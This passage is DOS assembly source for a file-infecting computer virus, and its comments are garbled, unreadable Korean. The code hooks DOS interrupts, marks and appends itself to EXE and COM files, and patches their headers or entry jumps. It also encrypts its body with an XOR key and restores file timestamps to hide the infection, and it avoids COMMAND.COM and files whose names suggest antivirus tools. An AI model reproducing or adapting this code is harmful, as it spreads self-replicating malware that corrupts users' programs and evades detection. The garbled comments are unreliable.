  558.                 cmp     word ptr EXE_HEADER,5a4dh   ;╤Aößêa EXE┼íùa ╖Ñêa?
  559.                 jne     check_com                   ;╤┬╖Ñ╨eöa
  560.  
  561.  
  562.                 mov     dx,word ptr EXE_HEADER[3ch]  ;╢σòí╢ü ╤┴╖⌐╖ü ╨üößêa
  563.                 mov     cx,word ptr EXE_HEADER[3ch+2];╖╢ôeë╡╖a¥í Üσöa
  564.                 mov     ax,4200h
  565.                 pushf
  566.                 call    dword ptr cs:INT21_OFF
  567.  
  568.                 mov     cx,2                         ;╢σòí╢ü ╤Aößêa ╣Ñ╕ü╨aÉa
  569.                 mov     dx,offset MARKER             ;╤┬╖Ñ╨aïí ╢ß╨ü 2ña╖í╦aƒi 
  570.                 mov     ah,3fh                       ;╖¬┤ß╡Ñöa
  571.                 pushf
  572.                 call    dword ptr cs:INT21_OFF
  573.  
  574.                 cmp     word ptr MARKER,454eh        ;╢σòí╢ü ╤┴╖⌐╖Ñêa?
  575.                 jz      int_error1                   ;áx╖aíe êq╡q ═íïí
  576.  
  577.                 mov     ax,word ptr EXE_HEADER[04h]  ;EXE ╤┴╖⌐╖ü ╕≈Ñí¥í
  578.                 cmp     word ptr EXE_HEADER[02h],00  ;╤┴╖⌐╖ü ╟aïíƒi ┤i┤aÉàöa
  579.                 jz      no_dec
  580.                 dec     ax
  581.  
  582. no_dec:
  583.  
  584.                 mul     SECTOR                       ;dx:ax=╤┴╖⌐ ╟aïí
  585.                 add     ax,word ptr EXE_HEADER[02h]  ;╡íñߥA╖í ╤┴╖⌐╖Ñêa
  586.                 adc     dx,00h                       ;╤┬╖Ñ╨eöa
  587.  
  588.                 cmp     word ptr FILE_SIZE[00h],ax   ;╡íñߥA╖ííe êq╡q╖i
  589.                 jnz     int_error1                   ;═íïí╨eöa
  590.  
  591.                 cmp     word ptr FILE_SIZE[02h],dx   ;└qëí:╤Aöß╖ü ╤┴╖⌐╟aïí╕≈Ñí
  592.                 jnz     int_error1                   ;╡┴ ╢Ñ£ü╖ü ╤┴╖⌐╟aïíêa 
  593.                                                      ;╦iƒííe ╡íñߥA╖íöa
  594.  
  595.                                                      
  596. exe_ok:
  597.  
  598.                 mov     FILE_TYPE,1                  ;EXE╤┴╖⌐╖í£aôe ╬a»í
  599.  
  600.                 jmp     write_virus                 
  601.  
  602.  
  603. check_com:
  604.  
  605.                 cmp     byte ptr EXE_HEADER,0e9h      ;╕±╧a┼íùa¥í »í╕b╨aôe
  606.                 je      check_com_size                ;╤┴╖⌐╖Ñêa ╤┬╖Ñ╨eöa
  607.  
  608.                 cmp     byte ptr EXE_HEADER,0ebh
  609.                 jne     int_error1
  610.  
  611. check_com_size:
  612.  
  613.                 cmp     word ptr FILE_SIZE[00h],0f060h
  614.                 jnb     int_error1                    ;61536ña╖í╦aÑíöa ╕b╖aíe
  615.                                                       ;êq╡q╖i ┤e╨eöa
  616.                 mov     FILE_TYPE,0                   ;COM╤┴╖⌐╖í£aôe ╬a»í
  617.  
  618.  
  619. write_virus:
  620.  
  621.                 lds     si,cs:FILE_NAME
  622.                 xor     cx,cx
  623.  
  624. capitalize:
  625.                                                 ;╤┴╖⌐íw╖i öa öüóà╕a╤┴ ╨eöa
  626.                 inc     cx
  627.                 mov     al,[si]
  628.                 or      al,al
  629.                 jz      check_slash
  630.                 cmp     al,61h
  631.                 jb      inc_si
  632.                 cmp     al,7ah
  633.                 ja      inc_si
  634.                 sub     byte ptr [si],20h
  635.  
  636. inc_si:
  637.  
  638.                 inc     si
  639.                 jmp     capitalize
  640.  
  641. check_slash:                                    ;╤┴╖⌐ ╖íƒq╖ü áà ┤| ═í╖Ñ╚߃i
  642.                                                 ;┤Φïí╢ß╨ü ╡b»i£ü«ßîa╗í
  643.                                                 ;»a─à╨eöa
  644.                 mov     al,[si]
  645.                 cmp     al,'\'
  646.                 jz      find_pointer
  647.                 cmp     al,':'
  648.                 jz      find_pointer
  649.                 dec     si
  650.  
  651.                 loop    check_slash
  652.  
  653. find_pointer:
  654.  
  655.                 inc     si
  656.  
  657.                 mov     cs:FILE_NAME_START,si   ;╤┴╖⌐ »í╕b╕± ═í╖Ñ╚߃i ┤Φôeöa
  658.  
  659.                 cld
  660.  
  661.  
  662. check_target1:
  663.  
  664.                 mov     ax,cs
  665.                 mov     es,ax
  666.                 mov     di,offset TARGET_FILE1   ;╤┴╖⌐╖í COMMAND.COM ╖Ñêa?
  667.                 mov     cx,4                
  668.                 repz    cmpsb
  669.                 jnz     check_target2
  670.                 jmp     int_error1
  671.  
  672.  
  673. check_target2:
  674.  
  675.                 mov     si,cs:FILE_NAME_START
  676.  
  677. loop_scan:
  678.                 mov     ax,word ptr ds:[si]      ;óà╕a╡i║ù╡A SC╖í£aôe ïi│íêa
  679.                 cmp     ax,'CS'                  ;╣Ñ╕ü╨aôeêa?
  680.                 jz      int_error1
  681.                 mov     al,ds:[si+1]
  682.                 cmp     al,'.'
  683.                 jz      check_target3
  684.                 inc     si
  685.                 jmp     loop_scan
  686.  
  687.  
  688. check_target3:
  689.                 mov     si,cs:FILE_NAME_START
  690.  
  691. loop_ndos:
  692.                 mov     ax,word ptr ds:[si]      ;óà╕a╡i║ù╡A SC╖í£aôe ïi│íêa
  693.                 cmp     ax,'SO'                  ;╣Ñ╕ü╨aôeêa?
  694.                 jz      int_error1
  695.                 mov     al,ds:[si+1]
  696.                 cmp     al,'.'
  697.                 jz      check_target4
  698.                 inc     si
  699.                 jmp     loop_ndos
  700.  
  701. check_target4:
  702.  
  703.                 mov     si,cs:FILE_NAME_START
  704.  
  705. loop_character:
  706.                 mov     al,ds:[si]                ;óà╕a║ù╡A V £aôe ╖íƒq╖í
  707.                 cmp     al,'V'                    ;╖╢Éa?
  708.                 jz      int_error1
  709.                 cmp     al,'H'
  710.                 jz      int_error1
  711.                 cmp     al,'I'
  712.                 jz      int_error1
  713.                 mov     al,ds:[si+1]
  714.                 cmp     al,'.'
  715.                 jz      virus_process
  716.                 inc     si
  717.                 jmp     loop_character
  718.  
  719.  
  720. virus_process:
  721.  
  722.                 mov     ax,cs                       
  723.                 mov     ds,ax                       
  724.  
  725.                 mov     ax,40h                      ;ña╖í╡í»a òA╖í╚ß ╡w╡b╡A¼ß
  726.                 mov     es,ax                       ;£àö±╨e êt╖i ┤Φôeöa
  727.                 mov     ax,word ptr es:[6ch]
  728.  
  729.                 mov     byte ptr key_value[01h],al  ;┤q╤í╤┴ ╨aïí╢ß╨e ╟íêt╖i
  730.                 and     ax,000fh                    ;╗ó╕≤ ┤q╤í╬üôe ₧ü╦Ñ╡A │eöa
  731.  
  732.                 mov     RANDOM,ax                   ;│a¥Aïí ┼íùaƒi ┤Θáaáe╟q
  733.                                                     ;ª¢╖⌐êσ╗í ëi╕≈╨eöa
  734.                 add     ax,BYTESIZE                 
  735.                 mov     ALL_BYTE,ax
  736.                 add     ALL_BYTE,GAJASIZE
  737.  
  738.                 mov     cx,word ptr FILE_SIZE[02h]
  739.                 mov     dx,word ptr FILE_SIZE[00h]
  740.  
  741.                 and     dx,000fh                    ;╤┴╖⌐ ¼a╖í╗aƒi 16╖a¥í
  742.                 add     ALL_BYTE,000fh              ;ÉaÆü┤߼ߠ7╖í ÉqëA ╣í╕≈
  743.                 and     ALL_BYTE,0fff0h             ;╨eöa
  744.                 add     ALL_BYTE,7
  745.                 sub     ALL_BYTE,dx
  746.  
  747.                 mov     ax,5700h                    ;╤┴╖⌐ Éi╝aƒi ┤Φôeöa
  748.                 pushf
  749.                 call    dword ptr cs:INT21_OFF
  750.  
  751.                 mov     FILE_DATE,dx
  752.                 mov     FILE_TIME,cx
  753.  
  754.                 cmp     FILE_TYPE,1               ;╤┴╖⌐╖ü ╣╖ƒA¥í └߃í₧ü╦Ñ ëi╕≈
  755.                 jz      exe_process
  756.                 cmp     FILE_TYPE,0
  757.                 jz      com_process
  758.                 jmp     int_error1
  759.  
  760. exe_process:
  761.  
  762.                 mov     ax,word ptr EXE_HEADER[0eh] ;EXE ╨üöß╖ü ╕≈Ñíƒi 
  763.                 mov     EXE_SS,ax                   ;╕ß╕w╨eöa
  764.  
  765.                 mov     ax,word ptr EXE_HEADER[10h]
  766.                 mov     EXE_SP,ax
  767.  
  768.                 mov     ax,word ptr EXE_HEADER[14h]
  769.                 mov     EXE_IP,ax
  770.  
  771.                 mov     ax,word ptr EXE_HEADER[16h]
  772.                 mov     EXE_CS,ax
  773.  
  774.                 mov     ax,word ptr EXE_HEADER[04h]
  775.  
  776.                 cmp     word ptr EXE_HEADER[02h],00
  777.  
  778.                 jz      no_dec2
  779.                 dec     ax
  780.  
  781. no_dec2:
  782.  
  783.                 mul     SECTOR
  784.  
  785.                 add     ax,word ptr EXE_HEADER[02h]
  786.                 adc     dx,00
  787.  
  788.                 mov     START_POINT2,ax
  789.                 mov     START_POINT1,dx
  790.  
  791.                 add     ax,ALL_BYTE
  792.                 adc     dx,00
  793.                 jc      int_error1
  794.  
  795.                 div     SECTOR
  796.  
  797.                 cmp     ax,0400h
  798.                 jae     int_error1
  799.  
  800.                 cmp     dx,0
  801.                 jz      no_inc
  802.  
  803.                 inc     ax
  804.  
  805. no_inc:
  806.  
  807.                 mov     word ptr EXE_HEADER[04h],ax         ;╤Aö߃i ╕ü╣í╕≈
  808.                 mov     word ptr EXE_HEADER[02h],dx
  809.  
  810.                 mov     ax,START_POINT2
  811.                 mov     dx,START_POINT1
  812.  
  813.                 div     PARAGRAPH
  814.  
  815.                 sub     ax,word ptr EXE_HEADER[08h]         ;╤Aöß¼a╖í╗a
  816.  
  817.                 mov     word ptr EXE_HEADER[16h],ax         ;cs
  818.                 mov     word ptr EXE_HEADER[0eh],ax         ;ss
  819.                 mov     ax,BYTESIZE
  820.                 add     ax,GAJASIZE-2
  821.                 mov     word ptr EXE_HEADER[10h],ax         ;sp
  822.                 mov     word ptr EXE_HEADER[14h],dx         ;ip
  823.  
  824.                 add     dx,16
  825.                 sub     dx,RANDOM
  826.                 mov     word ptr virus_body[01h],dx         ;╤┴╖⌐╖ü »í╕b╕±╖i
  827.                 add     dx,HEADSIZE                         ;ëü¼e╨ü ┤q╤í╬üôe 
  828.                 mov     word ptr si_value[01h],dx           ;ªüªà╖ü si/diêt╡A
  829.                 mov     word ptr di_value[01h],dx           ;╕ß╕w
  830.  
  831. write_header:
  832.  
  833.  
  834.                 mov     ax,4200h                            ;╤Aö߃i │eöa
  835.                 xor     cx,cx                                
  836.                 xor     dx,dx
  837.                 pushf
  838.                 call    dword ptr cs:INT21_OFF
  839.                 jc      int_error1
  840.  
  841.                 mov     ah,40h
  842.                 mov     cx,20h
  843.                 mov     dx,offset EXE_HEADER
  844.                 pushf
  845.                 call    dword ptr cs:INT21_OFF
  846.                 jc      int_error1
  847.  
  848.                 jmp     virus_to_buffer
  849.  
  850.  
  851. com_process:
  852.  
  853.                 mov     ax,word ptr FILE_SIZE[00]      ;COM ╤┴╖⌐╖ü ╤Aö߃i 
  854.                                                        ;╕ü ╕b┤≤╨eöa
  855.                 add     ax,0110h
  856.                 sub     ax,RANDOM
  857.                 mov     word ptr virus_body[01h],ax
  858.                 add     ax,HEADSIZE
  859.                 mov     word ptr si_value[01h],ax      ;┤q╤í╬üôe ₧ü╦Ñ╡A 
  860.                 mov     word ptr di_value[01h],ax      ;si/di êt╖i ╗ó╕≤ │eöa
  861.       
  862.  
  863.                 mov     ax,word ptr FILE_SIZE[00]
  864.  
  865.                 sub     ax,3
  866.                 mov     word ptr COM_START[01],ax      ;COM ╤┴╖⌐╖ü 
  867.                                                        ;╤Aößêa ña╖í£ß»aƒi
  868.                 mov     ax,4200h                       ;êaƒí╟íëA ╨eöa
  869.                 xor     cx,cx
  870.                 xor     dx,dx
  871.                 pushf
  872.                 call    dword ptr cs:INT21_OFF       
  873.                 jc      int_error1
  874.  
  875.                 mov     ah,40h
  876.                 mov     cx,3
  877.                 mov     dx,offset COM_START
  878.                 pushf
  879.                 call    dword ptr cs:INT21_OFF
  880.                 jc      int_error1
  881.  
  882.  
  883. virus_to_buffer:                               ;┤q╤í╤┴ƒi ╨aïí ╢ß╨ü ┤aîa 
  884.                                                ;¼w║ü»í ╨iöw╨e òA╖í╚ß ºi£Γ
  885.                 mov     ax,SPACE_SEG           ;╡A ña╖í£ß»aƒi ╖¬┤ß╡Ñöa
  886.                 mov     es,ax                  ;╖¬┤ß╡⌐ÿüôe │a¥Aïí ┼íùa 16êüƒi
  887.                                                ;╢ü¼σ └ü╢üëí ïa ûß╡A ╢Ñ£ü
  888.                 cld                            ;ña╖í£ß»aƒi └ü╢àöa
  889.  
  890.                 xor     di,di
  891.  
  892.                 mov     ax,9090h
  893.                 mov     cx,GAJASIZE/2           ;│a¥Aïí ┼íùa¥í 16ña╖í╦aƒi
  894.                                                 ;└ü╢àöa
  895.                 rep     stosw
  896.  
  897.                 xor     si,si
  898.                                                 ;┤q╤í╤┴╨e ña╖í£ß»aƒi 
  899.                 mov     cx,HEADSIZE             ;╨iöw╡w╡b╡A                 
  900.                 rep     movsb                   ;│aïí╢ß╨e ┴íïí ╕b┤≤
  901.  
  902.  
  903.                 mov     cx,BODYSIZE
  904.  
  905. move_loop2:
  906.  
  907.                 lodsb
  908.                 xor     al,byte ptr key_value[01h]
  909.                 stosb                            ;┤q╤í╤┴╨e ña╖í£ß»aƒi
  910.                                                  ;╨iöw╡w╡b╡A ╡½ïÑöa
  911.                 loop    move_loop2               ;(╡½ïííe¼ß ┤q╤í╤┴)
  912.  
  913.  
  914. buffer_to_file:                                   
  915.                                                   ;╨iöw╡w╡b╡A╖╢ôe ííùe Éü╢w╖i
  916.                                                   ;╤┴╖⌐¥í ╡½ïÑöa
  917.                 mov     bx,FILE_HANDLE            ;öe Ée«ü¥í ╖Ñ╨ü ╡½ëa╗íôe
  918.                 mov     ax,4202h                  ;»í╕b╕±╖í │a¥Aïí ┼íùa 
  919.                 xor     cx,cx                     ;16ña╖í╦a║ù ┤ßôa ╨eèàòAƒi
  920.                 xor     dx,dx                     ;êaƒa╟íëAûEöa
  921.                 pushf
  922.                 call    dword ptr cs:INT21_OFF
  923.  
  924.  
  925.                 mov     cx,ALL_BYTE                
  926.                 mov     dx,RANDOM
  927.                 mov     ax,es
  928.                 mov     ds,ax
  929.                 mov     ah,40h
  930.                 pushf
  931.                 call    dword ptr cs:INT21_OFF
  932.  
  933. repair_date:                                      ;Éi╝aƒi ╢Ñ£üöü¥í ò⌐¥a║àöa
  934.  
  935.                 mov     ax,5701h
  936.                 mov     dx,cs:FILE_DATE
  937.                 mov     cx,cs:FILE_TIME
  938.                 pushf
  939.                 call    dword ptr cs:INT21_OFF
  940.  
  941. int_error1:
  942.                 retn
  943.  
  944. read_handle     endp
  945.  
  946.  
  947.  
  948.  
  949. ;**************************************************************
  950. ;
  951. ;
  952. ;                      DATA AREA BLOCK
  953. ;
  954. ;
  955. ;**************************************************************
  956.  
  957. COM_START       db      0e9h            ;COM╤┴╖⌐╖ü ╕±╧a┼íùa
  958.                 dw      0
  959.  
  960. PSP_SEG         dw      0               ;PSP SEGMENT
  961. EXE_SP          dw      0fffeh          ;EXE╖üSP
  962. EXE_SS          dw      0               ;EXE╖üSS
  963. EXE_IP          dw      0               ;EXE╖üIP
  964. EXE_CS          dw      0               ;EXE╖üCS
  965. COM_IP          dw      100h            ;COM╖üIP
  966. COM_CS          dw      0               ;COM╖üCS
  967. ENV_BLOCK       db      12h dup (?)     ;»⌐╨ù╖i ╢ß╨e ╤┼ëw ºi£Γ
  968. ORG_PARA        dw      0               ;╤e »⌐╨ù╤┴╖⌐╖ü ╨iöwûE ╠ü£ßïa£ü╧a«ü 
  969. SPACE_SEG       dw      0               ;ña╖í£ß»a òA╖í╚ß╕b┤≤╢w ╨iöwºi£Γ
  970. VIRUS_SEG       dw      0               ;ña╖í£ß»a ¼w║ü╢w ╨iöw ¡Aïaáσ╦a
  971. FILE_TYPE       db      1               ;╤┴╖⌐ ╤w╚ü 
  972.  
  973. INT1C_OFF       dw      0               ;INT1C_OFF
  974. INT1C_SEG       dw      0               ;INT1C_SEG
  975. INT24_OFF       dw      0               ;INT24_OFF
  976. INT24_SEG       dw      0               ;INT24_SEG
  977. INT21_OFF       dw      0               ;INT21_OFF
  978. INT21_SEG       dw      0               ;INT21_SEG
  979.  
  980. ALL_BYTE        dw      BYTESIZE        ;ña╖í£ß»a ÑÑ┴A╖ü ╟aïí
  981. MARKER          dw      0               ;╢σòí╢ü╢w ╤Aöß ╠eöe╢w 
  982. TARGET_FILE1    db      'COMM'          ;COMMAND.COM ╤┬╖Ñ╢w
  983. FILE_NAME       dd      0               ;FILE_NAME ╕ß╕w
  984. FILE_SIZE       dd      0               ;FILE_SIZE ╕ß╕w
  985. FILE_HANDLE     dw      0               ;FILE_HANDLE ╕ß╕w
  986. FILE_ATTR       dw      0               ;FILE_ATTR ╤┴╖⌐¡ó¼≈
  987. FILE_DATE       dw      0               ;FILE_DATE Éi╝a
  988. FILE_TIME       dw      0               ;FILE_TIME »íêe
  989. FILE_NAME_START dw      0               ;COLUMNS_OFF ╤┴╖⌐╖íƒq »í╕b╕±
  990. START_POINT2    dw      0               ;╤┴╖⌐ áàáa╗íáb ña╖í£ß»aêa ª¢╖ië╡(╨a╢ß)
  991. START_POINT1    dw      0               ;              //               (¼w╢ß)
  992. EXE_HEADER      db      40h dup (0)     ;EXE_HEADER
  993. PARAGRAPH       dw      0016            ;PARAGRAPH
  994. SECTOR          dw      0512            ;SECTOR
  995. RANDOM          dw      0               ;Ée«üêt1
  996.  
  997. STACK_SPACE     dw      32 dup (?)
  998.  
  999. finish          label   byte
  1000.  
  1001. main            ends
  1002.  
  1003. stac            segment para stack 'stack'
  1004.  
  1005.                 db      100 dup (0)
  1006.  
  1007. stac            ends
  1008.  
  1009.                 end     start
  1010.  
  1011. ;┬ü»Ñ : ┤üëíëí.. ¼Θíwáe ╕ΓôeòAòí ╖í£²ëA »íêe╖í ág╖í êΘƒíöaôí.
  1012.         ña╖í£ß»a ╡eèü╨a»íôe ªàùi └q╣íáe ╨a¡A╢a. ╢Ñ£ü ╨q«ü╤┴ ╨ü¼ß
  1013.         öa CALL╨ü¼ß │a¥aëí ╨eêσòA ña½aëA áeùiöa Ñíôí ïa£²ëA ûV»sôíöa.
  1014.         ╖í ña╖í£ß»aƒi áeùi«ü ╖╢ëA òí╢æ╖i║à ╡A₧ü¼i¥Q/öa╟a┤ßÑE╣a/╧í╧í
  1015.         DIR-II ña╖í£ß»aƒi áeùa»Ñ ╨ü─ßùi╡AëA êq¼a ùaƒ│ôíöa.
  1016.         ╖íê⌡╖í èé¼e ña╖í£ß»a¥í░ß íyñσ╝ü╖Ñ╗í ííƒaëV╗íáe ╡a╕σ╙í ïí«ë╖í
  1017.         ┤a╗ó╖e ÿi¥a¼ß ╥Bïí╕Γ╖Ñê⌡╖e ┤eÉa╡íæA╢a. ╖í£²ëA ╕≈Ñíƒi ë╖╖A╨ü┤í
  1018.         ág╖e ña╖í£ß»aêa Éa╡⌐╔EòA.
  1019.         ┤aóü╜í¥ó ┤ß¡Q╡e»s ág╖í╨a¡A╢a ña╖í£ß»a ág╟q ╤┬»⌐╨e ï⌐òí ┤⌠╖aôí
  1020.         îa╢a               
  1021.